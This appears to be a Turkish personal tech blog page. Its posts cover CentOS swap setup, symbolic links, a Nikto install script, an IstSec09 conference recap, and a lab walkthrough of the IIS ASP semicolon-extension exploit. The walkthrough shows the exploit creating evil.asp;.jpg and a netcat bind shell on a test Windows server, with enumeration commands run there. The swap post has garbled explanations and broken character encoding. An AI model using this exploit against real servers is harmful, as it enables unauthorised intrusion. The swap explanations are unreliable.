Latest Publications

Redhat/Centos’da SWAP ile Virtual Memory

Swap ,Unix/Linux sistemler de fazlasıyla gereksinim duyulan memory ihtiyacını  kendi uzerine yazip, sanal hafiza olusturmakla görevli file sistemidir.

Linux altında Swap partition olusturulup file sistem olarak yapilandirilmasi icin asagidaki adimlari takip edebilirsiniz.

ASCII(7 Byte'lik sayi sistemi) karekterli sayi sistemi olusturmakla bilinen " /dev/zero " adli ozel donanımı kullanip 256 MB degerinde (tekabul eden/biraz aşan) 0 degerlerini, üretecegimiz dosya ile convert edecegiz.

dd if=/dev/zero of=/swap bs=256 count=1MB

Bu parametre de bulunan "bs", girilen her integar degeri byte cinsinden hesaplayarak(KB,MB,GB seklinde olusturulan dosyanin boyutu belirtilmezse ) count'dan gelen veri ile toplayip, "dd" seceneÄŸi ile convert ediyor.

Åžimdi, mkswap parametresini kullanıp  az evvel olusturduÄŸumuz dosyayı , “Swap File Sistem” haline dönüştürdükten sonra  swapon komutu ile virtual memory  olarak ayarladığımız donanımı, çalışır durumda baslatacagız..

mkswap /swap
swapon /swap

Sırada,  mount edilen  disklerin dosya  yapılarının bulundugu  /etc/fstab’i  herhangi bir metin duzenleyicisiyle açıp en alt kısmına, oluÅŸturduÄŸumuz diskin file tipini belirtmek kalıyor.

/swap swap swap defaults 0 0

Kontrol edelim.

[root@localroot ~]# cat /etc/fstab |  more

/swap swap swap defaults 0 0

Yaptığımız uygulamayı test etmek icin swapon -s veya cat /proc/swaps  komutları ile  gerekli kontrolleri yapabilir veya top komutu ile  yapılandıgımız virtual memory (Swap) kullanımı kontrol edebiliriz.

Linux’da Symbolic Link Uygulaması

Devamli kullanilan servislere tek komut altinda ve sabit dizinde yonetebilmek icin Symbolic Link (Simgesel BaÄŸ) uygulamasına itiyac duyarız.Linux sistemlerin de  belirttigimiz metodu “ln -s”  parametresi ile  yapabiliyoruz, asagida Apache ve MySQL icin birer bag link olusturup dosyamizi sabit yerde muhafaza edip tek komut ile sabit dizin uzerinde cesitli islemler yapabiliyor olacagiz.

root@localroot:~# ln -s /etc/init.d/apache2 ./httpd
root@localroot:~# ./httpd restart
* Restarting web server apache2
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
root@localroot:~# ln -s /etc/init.d/mysql ./mysql
root@localroot:~# ./mysql

Usage: /root/mysql start|stop|restart|reload|force-reload|status

Kısmen symbolic link uygulamalarını gorecegimiz  /etc/rc6.d adli dizin de servislerin yapisina bakalım.

root@localroot:/etc/rc6.d# ls -l
total 4
lrwxrwxrwx 1 root root  17 2010-01-24 00:58 K09apache2 -> ../init.d/apache2
-rwxr-xr-x 1 root root  5609 2009-10-07 17:35 mysql
lrwxrwxrwx 1 root root    17 2010-01-24 01:32 mysqld -> /etc/init.d/mysql

Apache ve MySQL servisini root altinda simgesel bag olarak set ettigimiz icin; dolayisiyla  bu dizin altinda tek link islevi gorup calisacaklardir.Asagida ;  farkli bir directory de,  sembolize edilmis mysql servisi baslatilirken alinan uyariyi gorebilirsiniz.

root@localroot:/etc# ./mysql
bash: ./mysql: is a directory

ln parametresi ile ilgili detayli bilgiler , ” ln –help ” komutu ile de incelenebilir.

Symbolic Link File System History:

IIS ASP Multiple Extensions Remote 0DAY Exploit

Microsoft’un IIS5,6  sunucularını manupule eden bir exploit yayınlanmıstı.30.12.2009 tarihin de’de ilgili zaafiyatı kullanarak server’a direk mudahale icin 3  payload connection’i tek exploit de barindiran python  bir exploit daha yayınlandı. Konuyu ele almamın sebebi asagidaki exploit araciligiyla olusturacak resim dosyasini (06;.jpg) IIS web serveriniz da  calistiran kiÅŸi, windows serveriniz da Outgoing den 31337. portun acilmasina sebebiyet veriyor.Daha sonra ise asagida belirttigim 3 payload’dan herhangi biri araciligiyla  sunucu’dan shell alıyor.(Backconnect) Exploit ile olusan  image dosyasi’nin icerigini notepad ile acip bakabilirsiniz.

Patch cozumu gelistirmek icin ilgili exploiti kendi Virtual Windows Server‘imda test ettim.

Shellcode / Payload Connection

0 – shell_bind_tcp

1 – meterpreter_bind_tcp

2 – vncinject_bind_tcp

Penetration materyaller:

OS : Server 2003 Enterprise x86 SP2
Victim Vlan: 192.168.127.130
Web Server : IIS6
Destination: Ubuntu 9.10 (karmic)
Exploit: http://www.exploit-db.com/exploits/10791

Testleri yapalım:

root@ubuntu:~/labs# python iis.py def.jpg 0
Exploit for Microsoft IIS ASP Multiple Extensions Security Bypass 5.x/6.x
By Emanuele Gentili and Emanuele Acri (http://backtrack.it)
[+] File evil.asp;.jpg created and ready to use.
Enjoy… ;)

root@ubuntu:~/labs# ls -l
total 1260
-rw-r–r– 1 root root  12902 2009-10-31 01:08 def.jpg
-rw-r–r– 1 root root 326377 2010-01-10 14:08 evil.asp;.jpg
-rwxrwxrwx 1 root root 945931 2010-01-10 14:03 iis.py

evil.asp;.jpg vulnerable durumda olan IIS sunucular da calistirildigin da :

root@ubuntu:~/labs# nc -vv 192.168.127.130 31337
192.168.127.130: inverse host lookup failed: Unknown hosit
(UNKNOWN) [192.168.127.130] 31337 (?) open
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>ipconfig

Windows IP ConfigurationEthernet adapter Local Area Connection:
Connection-specific DNS Suffix  . : localdomain
IP Address. . . . . . . . . . . . : 192.168.127.130
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.127.2

c:\windows\system32\inetsrv>net user
User accounts for \\LOCALROOT

Network tarafinda olayları gozlemlemek icin,  infekte durumun da olup hacklenen serveri kontrol edelim.


Estaibleshed statusu, bize  baglanti saglanan IP adresi ile portu gosteriyor.

Nmap ile bakalım :

root@ubuntu:~/labs# nmap -sT -d 192.168.127.130 -p 31337

31337/tcp open  Elite        syn-ack
MAC Address: 00:0C:29:71:6D:2B (VMware

HOW DOES THIS VULNERABLE PATCH ? : )
You should be speak with Microsoft Corporation.

Referanslar:

http://soroush.secproject.com/downloadable/iis-semicolon-report.pdf

http://secunia.com/advisories/37831/

Nikto2 with LibWhisker Fast Installation Code

Nikto2  ve  LibWhisker kutuphanesini, asagida yazdigim ufak bash scripti ile  hizlica kurabilirsiniz. Shell de ilgili scripti .sh formatinda kaydettikten sonra permission degerini 755 olarak set edip Nikto web security scanner  uygulamanizi hızlıca kurup kullanabilirsiniz.

Not: Scriptin orjinal/duzgun halini buradan gorebilirsiniz.
Centos 5.4 x86-64  isletim sistemlerinde test edilmistir.

#/bin/bash
#GNU|Nikto2 WAS (Web Application Scanner) Fast Installation
# Coded Ugur Engin
#http://ugurengin.com
function start() {
read -p “Are you ready?”
}
start
sleep 1
if [ $UID = 0 ]; then
wget http://cirt.net/nikto/nikto-current.tar.gz;
tar -xf nikto-current.tar.gz;
mv nikto-2.1.0 nikto;
rm -rf nikto-current.tar.gz;
cd nikto;
wget http://www.wiretrip.net/rfp/libwhisker/libwhisker2-current.tar.gz;
tar -xf libwhisker2-current.tar.gz;
rm -rf libwhisker2-current.tar.gz;
cd libwhisker2-2.4;
perl Makefile.pl lib > log.txt
cp LW2.pm ../
cd ..
perl nikto.pl -update > log.txt
echo “Installation completed…”;
exit 0;
else
echo “Please, receive Root Acces!”
su -c $0
exit -1
fi

IstSec09 Biterken.

İstanbul  Bilgi Üniversitesi/SilahtaraÄŸa Kampüsün’de bu yıl 2. kere duzenlenen IstSec09 adli bilisim guvenligi konferansına katıldım.Açıkcası sabah 7:00 de kalkıp Eyüp’e gitmek bir gun oncesinden imkansız gozukuyordu. (Cuma,Ctesi sabaha dogru yattıgım icin)

Herneyse,  hersey guzel gelisti. (Yorgun ve Uykusuz olsam da)
İstanbul Bilgi Daire Başkanının Mobil İletişim ve Baz İstasyonları adına soylemleri,

Ahmet Koltuksuz’un Bilgi Nedir? ve Bilgi Guvenligi Kuramı uzerine geliÅŸtirdigi kendi tezlerini sunması.

Hüzeyfe Önal ve Ferruh Mavituna ile kısa sohbetimiz.
Cok begendıgım, ayrıca epey tehlıkeli bir proje olarak  niteledigim yeni nesil web security scanner’i  Netsparker.
Netsparker hakkında detaylı bilgiyi elimi yorarak buraya girmek istemiyorum, bizzat uygulama ve detaylı acıklamarını asagidaki link araciligiyla gorebilirsiniz.
http://www.mavitunasecurity.com/blog/netsparker-videos/

Onemli Notlar :

Ulastırma Bakanı IPv6′ya gecis icin talimat vermis;bu sebeple devlet kurumları icin genel bir calisma baslatıldıgını Ulastırma Bakanı MusteÅŸarı acıkladı.

Gene İst. Daire Baskanlıgı, Geniş kapsamlı bir  Türk Arama Motoru geliştirme aşamasın da olduklarını duyurdu.

Metasploit 3.3.2

Metasploit 3.3.2 ile bizlerle.